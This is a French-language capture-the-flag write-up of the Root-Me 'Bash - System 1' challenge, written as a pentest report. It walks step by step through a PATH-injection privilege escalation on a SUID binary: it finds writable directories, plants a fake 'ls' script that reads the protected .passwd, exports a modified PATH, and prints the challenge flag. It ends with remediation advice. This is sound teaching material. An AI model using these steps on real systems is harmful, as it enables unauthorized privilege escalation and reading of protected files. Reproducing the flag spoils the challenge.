Aller au contenu

Bash - System 1 – Root-Me Writeup

28/02/2026 Philippe Bécué — Pen-tester CTF / Simulation
Bash - System 1 – Root-Me Writeup

Vidéo Démo

Liste des intervenants

Nom RĂ´le Email Environnement
Philippe BĂ©cuĂ© Pen-tester [email protected] Windows

Scope

Portée du test

Nom Détails
challenge02.root-me.org:2222 Challenge Root-Me – Bash - System 1 (App-Script, Facile, 5 pts)

Exclusions du scope

Aucune exclusion définie. Cliquez sur "Ajouter une exclusion" pour commencer.

Information Gathering

Le challenge met à disposition un accès SSH sur le serveur challenge02.root-me.org au port 2222. La connexion s'effectue avec les identifiants fournis dans l'énoncé :

ssh -p 2222 [email protected]

Une fois connecté, on constate que le répertoire personnel de l'utilisateur pointe directement sur le dossier du challenge : /challenge/app-script/ch11/. Un listing détaillé révèle la structure du challenge :

ls -la /challenge/app-script/ch11/
-rwsr-xr-x 1 app-script-ch11-cracked app-script-ch11  ... ch11
-r-------- 1 app-script-ch11-cracked app-script-ch11  ... .passwd

Deux éléments retiennent immédiatement l'attention. Le binaire ch11 possède le bit SUID activé (le s dans -rws), ce qui signifie qu'il s'exécute avec les droits de son propriétaire app-script-ch11-cracked, peu importe l'utilisateur qui le lance. Le fichier .passwd, cible de l'attaque, est en lecture seule pour son propriétaire uniquement (-r--------) : il est inaccessible directement depuis notre compte.

L'énoncé du challenge fournit également le code source C du binaire ch11, ce qui est une aide précieuse pour comprendre exactement ce qu'il fait avant de tenter quoi que ce soit.

OSINT

Aucun contenu n'a encore été ajouté à cette section.

Enumeration

Analyse du code source fourni

Le code source du binaire est disponible dans l'énoncé du challenge. C'est le point de départ indispensable de toute l'analyse :

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
    setreuid(geteuid(), geteuid());
    system("ls /challenge/app-script/ch11/.passwd");
    return 0;
}

Le programme fait deux choses. D'abord, setreuid(geteuid(), geteuid()) synchronise le Real UID sur l'Effective UID du processus. Sous Linux, chaque processus possède ces deux identifiants distincts : le Real UID représente qui a lancé le programme, l'Effective UID représente avec quels droits il tourne réellement. Sur un binaire SUID, ces deux valeurs diffèrent au démarrage (Real UID = l'attaquant, Effective UID = le propriétaire du SUID). Cette ligne les force à être identiques pour éviter qu'un sous-shell bash ne détecte cette divergence et abandonne les privilèges élevés — une protection interne de bash qui consiste à vérifier si real_uid != effective_uid et à appeler setuid(real_uid) dans ce cas. Ensuite, system("ls /challenge/app-script/ch11/.passwd") appelle la commande ls sans chemin absolu.

Recherche de répertoires inscriptibles

Pour exploiter la faille, il faut pouvoir écrire un fichier sur le système. Les répertoires standards comme /tmp sont verrouillés sur ce challenge. La commande suivante permet d'identifier tous les répertoires où l'écriture est autorisée :

find / -writable -type d 2>/dev/null
/var/lib/php5
/var/tmp
...

Après test, le répertoire /var/lib/php5 s'avère effectivement accessible en écriture :

echo '1' > /var/lib/php5/test.txt
cat /var/lib/php5/test.txt
1

Analyse de vulnérabilités

PATH Injection sur binaire SUID

La vulnérabilité repose sur la combinaison de deux éléments : un binaire SUID qui délègue l'exécution à un sous-shell via system(), et l'utilisation d'un nom de commande relatif (ls) au lieu d'un chemin absolu (/bin/ls).

Lorsque system() est appelé, il exécute en interne :

execve("/bin/sh", ["sh", "-c", "ls /challenge/..."], environ)

Le shell reçoit ainsi la commande ls à résoudre. Il parcourt la variable d'environnement PATH de gauche à droite et exécute le premier binaire nommé ls qu'il rencontre. Or, la variable PATH est héritée de l'utilisateur qui a lancé le binaire SUID. Si l'attaquant y place son propre répertoire en premier, le shell trouvera son faux ls avant le vrai /bin/ls.

Le mécanisme setreuid présent dans le code garantit que bash ne viendra pas contrecarrer l'exploit en abandonnant les droits élevés. Sans cette ligne, bash détecterait que Real UID et Effective UID diffèrent et réduirait silencieusement ses propres privilèges avant d'exécuter la commande.

La règle d'or non respectée ici est la suivante : dans tout programme SUID, il faut toujours utiliser des chemins absolus et redéfinir manuellement le PATH en début de programme.

Exploitation

Création du faux binaire ls

Dans le répertoire inscriptible identifié, on crée un script shell qui se fait passer pour ls. Au lieu de lister des fichiers, il affiche le contenu de la cible :

echo '#!/bin/sh' > /var/lib/php5/ls
echo 'cat /challenge/app-script/ch11/.passwd' >> /var/lib/php5/ls
chmod +x /var/lib/php5/ls

Le shebang #!/bin/sh indique au système quel interpréteur utiliser. Sans chmod +x, le shell refuserait d'exécuter le fichier malgré sa présence dans le PATH.

Injection dans la variable PATH

On place notre répertoire en tête du PATH, avant tous les répertoires système. Le mot-clé export est indispensable : sans lui, la variable ne serait pas transmise aux processus enfants, et le binaire ch11 utiliserait son propre PATH hérité du shell de login.

export PATH=/var/lib/php5:$PATH

On peut vérifier que bash trouvera bien notre faux ls en premier :

which ls
/var/lib/php5/ls

Déclenchement de l'exploit

Il ne reste qu'à exécuter le binaire SUID. Le chemin relatif seul ne suffit pas — le répertoire courant n'est jamais dans le PATH par défaut sous Linux. Il faut impérativement préciser le chemin :

./ch11
!oPe96a/.s8d5

La chaîne d'exécution complète : ch11 s'exécute avec l'Effective UID du propriétaire SUID → setreuid synchronise le Real UID → system() forke un bash qui hérite de notre PATH → bash trouve /var/lib/php5/ls en premier → notre script tourne avec les droits élevés → cat lit .passwd et affiche le flag.

Post-Exploitation

Aucun contenu n'a encore été ajouté à cette section.

Tableau de synthèse des vulnérabilités

Vulnérabilité Application Port Type Gravité Impact principal
PATH Injection sur binaire SUID ch11 (binaire SUID) Privilege Escalation high Exécution d'un binaire arbitraire avec les droits du propriétaire du SUID via manipulation de la variable PATH

Conclusion

Ce challenge illustre une classe de vulnérabilités très classique en environnement Unix : la PATH Injection sur binaire SUID. La chaîne d'attaque complète se résume en quatre étapes :

  1. Lecture du code source fourni → identification de system("ls ...") avec chemin relatif
  2. Recherche d'un répertoire inscriptible sur le système via find / -writable -type d
  3. Création d'un faux binaire ls qui lit le fichier protégé, puis injection du répertoire en tête du PATH
  4. Exécution du binaire SUID qui déclenche notre payload avec ses droits élevés

Le point technique le plus intéressant de ce challenge est le rôle de setreuid(geteuid(), geteuid()). Loin d'être une protection, cette ligne est au contraire ce qui rend l'exploit fiable sur les versions modernes de bash : elle neutralise la protection anti-SUID interne de bash en synchronisant Real UID et Effective UID avant le passage en sous-shell.

Ce challenge confirme que la ressource citée par root-me reste d'actualité — la Lesson Two des dangers des scripts SUID : ne jamais appeler un binaire par son nom relatif dans un programme privilégié.

Solution

1. Utiliser des chemins absolus dans les appels système

La correction principale consiste Ă  remplacer le nom de commande relatif par son chemin absolu. Le programme ne serait alors plus sensible Ă  la valeur de la variable PATH :

// Vulnérable
system("ls /challenge/app-script/ch11/.passwd");

// Corrigé
system("/bin/ls /challenge/app-script/ch11/.passwd");

2. Redéfinir manuellement le PATH en début de programme

En complément, tout programme SUID devrait redéfinir le PATH à un ensemble minimal et de confiance avant tout appel à system() ou à un exec qui s'appuie sur la résolution de nom :

putenv("PATH=/usr/local/bin:/usr/bin:/bin");
system("/bin/ls /challenge/app-script/ch11/.passwd");

3. Préférer execve() à system()

system() passe nécessairement par un shell intermédiaire, ce qui introduit une surface d'attaque (PATH, IFS, variables d'environnement shell). La fonction execve() exécute directement le programme sans invoquer de shell, éliminant cette surface :

char *args[] = {"/bin/ls", "/challenge/app-script/ch11/.passwd", NULL};
execve("/bin/ls", args, NULL);

4. Appliquer le principe du moindre privilège

Si le binaire n'a pas besoin du bit SUID pour toute sa durée d'exécution, il convient de restituer les droits élevés dès qu'ils ne sont plus nécessaires via setuid(getuid()), conformément au principe du moindre privilège décrit dans les ressources SUID de Syracuse University.

Réalisé par
Philippe Bécué
Pen-tester
Période
28/02/2026 — 28/02/2026

Le rapport complet est disponible au format PDF — document de référence confidentiel rendu public.

Vérification anti-robot

Nouvelle tentative...

Nous respectons votre vie privée

Nous utilisons des cookies pour améliorer votre expérience sur notre site. En continuant votre navigation, vous acceptez l'utilisation de cookies conformément à notre politique de confidentialité.